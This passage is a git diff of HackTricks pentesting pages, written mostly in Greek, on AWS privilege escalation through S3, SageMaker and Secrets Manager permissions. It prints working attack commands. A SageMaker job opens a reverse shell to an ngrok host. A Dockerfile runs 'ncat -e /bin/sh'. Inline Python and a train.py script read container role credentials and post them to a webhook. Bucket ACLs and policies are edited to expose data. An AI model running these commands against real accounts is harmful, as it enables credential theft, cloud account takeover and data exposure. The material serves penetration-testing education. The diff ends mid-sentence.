να μπορεί να προσθέσει ένα Acl σε μια συγκεκριμένη έκδοση αντικειμένου. -```bash -aws s3api get-object-acl --bucket --key flag -aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md new file mode 100644 index 000000000..bbbc13d34 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -0,0 +1,185 @@ +# AWS - S3 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` + +Ένας attacker με αυτές τις permissions πάνω σε ενδιαφέροντα buckets μπορεί να hijack resources και να escalate privileges. + +Για παράδειγμα, ένας attacker με αυτές τις **permissions over a cloudformation bucket** που ονομάζεται "cf-templates-nohnwfax6a6i-us-east-1" θα μπορεί να hijack το deployment. Η πρόσβαση μπορεί να δοθεί με την ακόλουθη policy: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] +} +``` +And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. + +![](<../../../images/image (174).png>) + +The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ +Για περισσότερες πληροφορίες δείτε την αρχική έρευνα: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) + +### `s3:PutObject`, `s3:GetObject` + +Αυτά είναι τα δικαιώματα για να **λαμβάνετε και να ανεβάζετε αντικείμενα στο S3**. Πολλές υπηρεσίες μέσα στο AWS (και έξω από αυτό) χρησιμοποιούν αποθήκευση S3 για να αποθηκεύουν **config files**.\ +Ένας επιτιθέμενος με **δικαίωμα ανάγνωσης** σε αυτά μπορεί να βρει **ευαίσθητες πληροφορίες**.\ +Ένας επιτιθέμενος με **δικαίωμα εγγραφής** σε αυτά θα μπορούσε να **τροποποιήσει τα δεδομένα για να καταχραστεί κάποια υπηρεσία και να προσπαθήσει να αποκτήσει αυξημένα προνόμια**.\ +Αυτά είναι μερικά παραδείγματα: + +- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. + +### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file + +Είναι πολύ συνηθισμένο τα state files του [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) να αποθηκεύονται σε blob storage των παρόχων cloud, π.χ. στο AWS S3. Η κατάληξη αρχείου για state file είναι `.tfstate`, και τα ονόματα των buckets συχνά αποκαλύπτουν ότι περιέχουν αρχεία state του terraform. Συνήθως, κάθε λογαριασμός AWS έχει ένα τέτοιο bucket για να αποθηκεύει τα state files που δείχνουν την κατάσταση του λογαριασμού. Επίσης συνήθως, σε πραγματικούς λογαριασμούς σχεδόν πάντα όλοι οι developers έχουν `s3:*` και μερικές φορές ακόμα και επιχειρηματικοί χρήστες έχουν `s3:Put*`. + +Έτσι, αν έχετε τα δικαιώματα που αναφέρονται πάνω σε αυτά τα αρχεία, υπάρχει ένα διάνυσμα επίθεσης που σας επιτρέπει να αποκτήσετε RCE στο pipeline με τα προνόμια του `terraform` - τις περισσότερες φορές `AdministratorAccess`, κάνοντάς σας τον διαχειριστή του cloud λογαριασμού. Επίσης, μπορείτε να χρησιμοποιήσετε αυτό το διάνυσμα για να πραγματοποιήσετε επίθεση άρνησης υπηρεσίας κάνοντας το `terraform` να διαγράψει νόμιμους πόρους. + +Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code: + +{{#ref}} +../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files +{{#endref}} + +### `s3:PutBucketPolicy` + +Ένας επιτιθέμενος, ο οποίος πρέπει να είναι **από τον ίδιο λογαριασμό**, αλλιώς θα εμφανιστεί το σφάλμα `The specified method is not allowed will trigger`, με αυτό το δικαίωμα θα μπορεί να παραχωρήσει στον εαυτό του περισσότερα δικαιώματα πάνω στο/στα bucket(s) επιτρέποντάς του να διαβάζει, να γράφει, να τροποποιεί, να διαγράφει και να εκθέτει buckets. +```bash +# Update Bucket policy +aws s3api put-bucket-policy --policy file:///root/policy.json --bucket + +## JSON giving permissions to a user and mantaining some previous root access +{ +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] +} + +## JSON Public policy example +### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS +{ +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] +} +``` +### `s3:GetBucketAcl`, `s3:PutBucketAcl` + +Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτά τα δικαιώματα για να αποκτήσει περισσότερη πρόσβαση σε συγκεκριμένα buckets.\ +Σημειώστε ότι ο επιτιθέμενος δεν χρειάζεται να προέρχεται από τον ίδιο λογαριασμό. Επιπλέον, η πρόσβαση εγγραφής +```bash +# Update bucket ACL +aws s3api get-bucket-acl --bucket +aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json + +##JSON ACL example +## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. +{ +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] +} +## An ACL should give you the permission WRITE_ACP to be able to put a new ACL +``` +### `s3:GetObjectAcl`, `s3:PutObjectAcl` + +Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτά τα δικαιώματα για να αποκτήσει περισσότερη πρόσβαση σε συγκεκριμένα objects μέσα σε buckets. +```bash +# Update bucket object ACL +aws s3api get-object-acl --bucket --key flag +aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json + +##JSON ACL example +## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. +{ +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] +} +## An ACL should give you the permission WRITE_ACP to be able to put a new ACL +``` +### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` + +Ένας επιτιθέμενος με αυτά τα προνόμια αναμένεται να μπορεί να εφαρμόσει ένα Acl σε μια συγκεκριμένη object version +```bash +aws s3api get-object-acl --bucket --key flag +aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md deleted file mode 100644 index 285d3884d..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ /dev/null @@ -1,106 +0,0 @@ -# AWS - Sagemaker Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS - Sagemaker Privesc - - - -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -Αρχίστε να δημιουργείτε ένα σημειωματάριο με τον IAM Ρόλο που είναι συνδεδεμένος σε αυτό: -```bash -aws sagemaker create-notebook-instance --notebook-instance-name example \ ---instance-type ml.t2.medium \ ---role-arn arn:aws:iam:::role/service-role/ -``` -Η απάντηση θα πρέπει να περιέχει ένα πεδίο `NotebookInstanceArn`, το οποίο θα περιέχει το ARN της νεοδημιουργημένης παρουσίας σημειωματάριου. Στη συνέχεια, μπορούμε να χρησιμοποιήσουμε το API `create-presigned-notebook-instance-url` για να δημιουργήσουμε μια διεύθυνση URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στην παρουσία σημειωματάριου μόλις είναι έτοιμη: -```bash -aws sagemaker create-presigned-notebook-instance-url \ ---notebook-instance-name -``` -Πλοηγηθείτε στη διεύθυνση URL με τον περιηγητή και κάντε κλικ στο \`Open JupyterLab\` στην επάνω δεξιά γωνία, στη συνέχεια, μετακινηθείτε προς τα κάτω στην καρτέλα “Launcher” και κάτω από την ενότητα “Other”, κάντε κλικ στο κουμπί “Terminal”. - -Τώρα είναι δυνατή η πρόσβαση στα διαπιστευτήρια μεταδεδομένων του IAM Role. - -**Πιθανές Επιπτώσεις:** Privesc στο ρόλο υπηρεσίας sagemaker που έχει καθοριστεί. - -### `sagemaker:CreatePresignedNotebookInstanceUrl` - -Εάν υπάρχουν Jupyter **notebooks που εκτελούνται ήδη** σε αυτό και μπορείτε να τα καταγράψετε με το `sagemaker:ListNotebookInstances` (ή να τα ανακαλύψετε με οποιονδήποτε άλλο τρόπο). Μπορείτε να **δημιουργήσετε μια διεύθυνση URL γι' αυτά, να τα αποκτήσετε και να κλέψετε τα διαπιστευτήρια όπως υποδεικνύεται στην προηγούμενη τεχνική**. -```bash -aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name -``` -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας sagemaker που είναι συνημμένος. - -### `sagemaker:CreateProcessingJob,iam:PassRole` - -Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να κάνει **τον sagemaker να εκτελέσει ένα processingjob** με έναν ρόλο sagemaker συνημμένο σε αυτόν. Ο επιτιθέμενος μπορεί να υποδείξει τον ορισμό του κοντέινερ που θα εκτελείται σε μια **AWS managed ECS account instance**, και **να κλέψει τα διαπιστευτήρια του συνημμένου IAM ρόλου**. -```bash -# I uploaded a python docker image to the ECR -aws sagemaker create-processing-job \ ---processing-job-name privescjob \ ---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ ---app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ ---role-arn - -# In my tests it took 10min to receive the shell -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds -``` -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας sagemaker που έχει καθοριστεί. - -### `sagemaker:CreateTrainingJob`, `iam:PassRole` - -Ένας επιτιθέμενος με αυτές τις άδειες θα είναι σε θέση να δημιουργήσει μια εργασία εκπαίδευσης, **τρέχοντας ένα αυθαίρετο κοντέινερ** σε αυτήν με έναν **συνδεδεμένο ρόλο**. Επομένως, ο επιτιθέμενος θα είναι σε θέση να κλέψει τα διαπιστευτήρια του ρόλου. - -> [!WARNING] -> Αυτό το σενάριο είναι πιο δύσκολο να εκμεταλλευτεί από το προηγούμενο γιατί χρειάζεται να δημιουργήσετε μια εικόνα Docker που θα στείλει το rev shell ή τα creds απευθείας στον επιτιθέμενο (δεν μπορείτε να υποδείξετε μια αρχική εντολή στη ρύθμιση της εργασίας εκπαίδευσης). -> -> ```bash -> # Δημιουργία εικόνας docker -> mkdir /tmp/rev -> ## Σημειώστε ότι η εργασία εκπαίδευσης θα καλέσει ένα εκτελέσιμο που ονομάζεται "train" -> ## Γι' αυτό βάζω το rev shell στο /bin/train -> ## Ορίστε τις τιμές του και -> cat > /tmp/rev/Dockerfile < FROM ubuntu -> RUN apt update && apt install -y ncat curl -> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train -> RUN chmod +x /bin/train -> CMD ncat -e /bin/sh -> EOF -> -> cd /tmp/rev -> sudo docker build . -t reverseshell -> -> # Ανέβασέ το στο ECR -> sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ -> sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest -> sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest -> ``` -```bash -# Create trainning job with the docker image created -aws sagemaker create-training-job \ ---training-job-name privescjob \ ---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ ---algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ ---role-arn \ ---output-data-config '{"S3OutputPath": "s3://"}' \ ---stopping-condition '{"MaxRuntimeInSeconds": 600}' - -#To get the creds -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer -``` -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας sagemaker που καθορίζεται. - -### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` - -Ένας επιτιθέμενος με αυτές τις άδειες θα (πιθανώς) μπορεί να δημιουργήσει μια **εργασία εκπαίδευσης υπερπαραμέτρων**, **τρέχοντας ένα αυθαίρετο κοντέινερ** σε αυτήν με έναν **συνδεδεμένο ρόλο**.\ -_Δεν έχω εκμεταλλευτεί λόγω έλλειψης χρόνου, αλλά φαίνεται παρόμοιο με τις προηγούμενες εκμεταλλεύσεις, μη διστάσετε να στείλετε μια PR με τις λεπτομέρειες εκμετάλλευσης._ - -## Αναφορές - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md new file mode 100644 index 000000000..2a7963b3c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -0,0 +1,260 @@ +# AWS - Sagemaker Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS - Sagemaker Privesc + +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` + +Ξεκινήστε τη δημιουργία ενός notebook με το IAM Role επισυνάμενο σε αυτό: +```bash +aws sagemaker create-notebook-instance --notebook-instance-name example \ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ +``` +Η απόκριση θα πρέπει να περιέχει ένα πεδίο `NotebookInstanceArn`, το οποίο θα περιέχει το ARN του νεοδημιουργημένου notebook instance. Στη συνέχεια μπορούμε να χρησιμοποιήσουμε το API `create-presigned-notebook-instance-url` για να δημιουργήσουμε ένα URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στο notebook instance μόλις είναι έτοιμο: +```bash +aws sagemaker create-presigned-notebook-instance-url \ +--notebook-instance-name +``` +Πλοηγηθείτε στη διεύθυνση URL με το πρόγραμμα περιήγησης και κάντε κλικ στο `Open JupyterLab`` επάνω δεξιά, στη συνέχεια μεταβείτε προς τα κάτω στην καρτέλα “Launcher” και κάτω από την ενότητα “Other”, κάντε κλικ στο κουμπί “Terminal”. + +Τώρα μπορείτε να αποκτήσετε πρόσβαση στα metadata credentials του IAM Role. + +**Potential Impact:** Privesc to the sagemaker service role specified. + +### `sagemaker:CreatePresignedNotebookInstanceUrl` + +Εάν υπάρχουν Jupyter **notebooks που τρέχουν ήδη** σε αυτό και μπορείτε να τα απαριθμήσετε με `sagemaker:ListNotebookInstances` (ή να τα εντοπίσετε με οποιονδήποτε άλλο τρόπο). Μπορείτε να **δημιουργήσετε ένα URL για αυτά, να αποκτήσετε πρόσβαση και να κλέψετε τα credentials όπως υποδεικνύεται στην προηγούμενη τεχνική**. +```bash +aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name +``` +**Potential Impact:** Privesc στον συνημμένο ρόλο υπηρεσίας sagemaker. + +### `sagemaker:CreateProcessingJob`, `iam:PassRole` + +Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να αναγκάσει το **SageMaker να εκτελέσει μια εργασία επεξεργασίας** με έναν ρόλο SageMaker συνημμένο σε αυτήν. Επαναχρησιμοποιώντας ένα από τα AWS Deep Learning Containers που ήδη περιέχουν Python (και εκτελώντας το job στην ίδια περιοχή με το URI), μπορείς να εκτελέσεις κώδικα inline χωρίς να κατασκευάσεις δικές σου εικόνες: +```bash +REGION= +ROLE_ARN= +IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3 +ENV='{"W":"https://example.com/webhook"}' + +aws sagemaker create-processing-job \ +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \ +--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--environment "$ENV" \ +--role-arn $ROLE_ARN + +# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. +``` +**Πιθανός Αντίκτυπος:** Privesc to the sagemaker service role specified. + +### `sagemaker:CreateTrainingJob`, `iam:PassRole` + +Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να ξεκινήσει ένα training job που εκτελεί αυθαίρετο κώδικα με το καθορισμένο role. Χρησιμοποιώντας ένα επίσημο container του SageMaker και υπεργράφοντας το entrypoint με ένα inline payload, δεν χρειάζεται να δημιουργήσεις δικές σου images: +```bash +REGION= +ROLE_ARN= +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +ENV='{"W":"https://example.com/webhook"}' +OUTPUT_S3=s3:///training-output/ +# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3. + +aws sagemaker create-training-job \ +--training-job-name privesc-train \ +--role-arn $ROLE_ARN \ +--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \ +--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \ +--stopping-condition '{"MaxRuntimeInSeconds":600}' \ +--environment "$ENV" + +# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. +``` +**Potential Impact:** Privesc στον συγκεκριμένο ρόλο υπηρεσίας του SageMaker. + +### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` + +Ένας attacker με αυτά τα δικαιώματα μπορεί να ξεκινήσει ένα HyperParameter Tuning Job που εκτελεί attacker-controlled code υπό τον παρεχόμενο ρόλο. Το Script mode απαιτεί τη φιλοξενία του payload στο S3, αλλά όλα τα βήματα μπορούν να αυτοματοποιηθούν από το CLI: +```bash +REGION= +ROLE_ARN= +BUCKET=sm-hpo-privesc-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION + +# Allow public reads so any SageMaker role can pull the code +aws s3api put-public-access-block \ +--bucket $BUCKET \ +--public-access-block-configuration '{ +"BlockPublicAcls": false, +"IgnorePublicAcls": false, +"BlockPublicPolicy": false, +"RestrictPublicBuckets": false +}' + +aws s3api put-bucket-policy --bucket $BUCKET --policy "{ +\"Version\": \"2012-10-17\", +\"Statement\": [ +{ +\"Effect\": \"Allow\", +\"Principal\": \"*\", +\"Action\": \"s3:GetObject\", +\"Resource\": \"arn:aws:s3:::$BUCKET/*\" +} +] +}" + +cat <<'EOF' > /tmp/train.py +import os, time, urllib.request + +def main(): +meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") +if not meta: +return +creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read() +req = urllib.request.Request( +"https://example.com/webhook", +data=creds, +headers={"Content-Type": "application/json"} +) +urllib.request.urlopen(req) +print("train:loss=0") +time.sleep(300) + +if __name__ == "__main__": +main() +EOF + +cd /tmp +tar -czf code.tar.gz train.py +aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read + +echo "dummy" > /tmp/input.txt +aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read + +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +CODE_S3=s3://$BUCKET/code/train-code.tar.gz +TRAIN_INPUT_S3=s3://$BUCKET/input +OUTPUT_S3=s3://$BUCKET/output +# El rol necesita permisos ECR y escritura en el bucket. + +cat > /tmp/hpo-definition.json < + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 2) Update the Studio profile to use the new role (no iam:PassRole) +aws sagemaker update-user-profile \ +--domain-id \ +--user-profile-name \ +--user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-user-profile \ +--domain-id \ +--user-profile-name \ +--query 'UserSettings.ExecutionRole' --output text + +# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level +aws sagemaker update-space \ +--domain-id \ +--space-name \ +--space-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-space \ +--domain-id \ +--space-name \ +--query 'SpaceSettings.ExecutionRole' --output text + +# 4) Optionally, change the domain default so every profile inherits the new role +aws sagemaker update-domain \ +--domain-id \ +--default-user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-domain \ +--domain-id \ +--query 'DefaultUserSettings.ExecutionRole' --output text + +# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-atk + +# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: +# aws sts get-caller-identity # should reflect the new ExecutionRole +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text +``` +**Ενδεχόμενο Αντίκτυπο**: Privilege escalation στα δικαιώματα του καθορισμένου SageMaker execution role για interactive Studio sessions. + + +## Αναφορές + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md deleted file mode 100644 index 124f75888..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ /dev/null @@ -1,48 +0,0 @@ -# AWS - Secrets Manager Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Για περισσότερες πληροφορίες σχετικά με το secrets manager δείτε: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### `secretsmanager:GetSecretValue` - -Ένας attacker με αυτή την permission μπορεί να πάρει την **αποθηκευμένη τιμή μέσα σε ένα secret** στο AWS **Secretsmanager**. -```bash -aws secretsmanager get-secret-value --secret-id # Get value -``` -**Πιθανός αντίκτυπος:** Πρόσβαση σε ευαίσθητα δεδομένα μέσα στην υπηρεσία AWS Secrets Manager. - -> [!WARNING] -> Σημειώστε ότι ακόμη και με την άδεια `secretsmanager:BatchGetSecretValue`, ένας επιτιθέμενος θα χρειαζόταν επίσης την `secretsmanager:GetSecretValue` για να ανακτήσει τα ευαίσθητα secrets. - -### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) - -Με τις παραπάνω άδειες είναι δυνατό να **δοθεί πρόσβαση σε άλλους principals/accounts (ακόμη και εξωτερικούς)** για να έχουν πρόσβαση στο **secret**. Σημειώστε ότι για να **διαβαστούν secrets κρυπτογραφημένα** με ένα KMS key, ο χρήστης χρειάζεται επίσης να έχει **πρόσβαση στο KMS key** (περισσότερες πληροφορίες στην [KMS Enum page](../aws-services/aws-kms-enum.md)). -```bash -aws secretsmanager list-secrets -aws secretsmanager get-resource-policy --secret-id -aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json -``` -policy.json: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "secretsmanager:GetSecretValue", -"Resource": "*" -} -] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md new file mode 100644 index 000000000..05eec7720 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md @@ -0,0 +1,48 @@ +# AWS - Secrets Manager Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Για περισσότερες πληροφορίες σχετικά με το Secrets Manager δείτε: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### `secretsmanager:GetSecretValue` + +Ένας attacker με αυτή την άδεια μπορεί να πάρει την **αποθηκευμένη τιμή μέσα σε ένα secret** στο AWS **Secretsmanager**. +```bash +aws secretsmanager get-secret-value --secret-id # Get value +``` +**Potential Impact:** Πρόσβαση σε ιδιαίτερα ευαίσθητα δεδομένα μέσα στην AWS Secrets Manager service. + +> [!WARNING] +> Σημειώστε ότι ακόμη και με την άδεια `secretsmanager:BatchGetSecretValue`, an attacker θα χρειαστεί επίσης την `secretsmanager:GetSecretValue` για να ανακτήσει τα ευαίσθητα secrets. + +### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) + +Με τις προηγούμενες άδειες είναι δυνατό να **παραχωρήσετε πρόσβαση σε άλλους principals/accounts (ακόμα και εξωτερικούς)** ώστε να αποκτήσουν πρόσβαση στο **secret**. Σημειώστε ότι, προκειμένου να **διαβαστούν secrets κρυπτογραφημένα** με ένα KMS key, ο χρήστης χρειάζεται επίσης να έχει **πρόσβαση στο KMS key** (περισσότερες πληροφορίες στη [KMS Enum page](../../aws-services/aws-kms-enum.md)). +```bash +aws secretsmanager list-secrets +aws secretsmanager get-resource-policy --secret-id +aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json +``` +policy.json: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md deleted file mode 100644 index b6947402b..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SNS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### `sns:Publish` - -Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στο θέμα SNS, ενδεχομένως προκαλώντας διαφθορά δεδομένων, ενεργοποιώντας μη προγραμματισμένες ενέργειες ή εξαντλώντας πόρους. -```bash -aws sns publish --topic-arn --message -``` -**Πιθανές Επιπτώσεις**: Εκμετάλλευση ευπαθειών, Διαφθορά δεδομένων, μη προγραμματισμένες ενέργειες ή εξάντληση πόρων. - -### `sns:Subscribe` - -Ένας 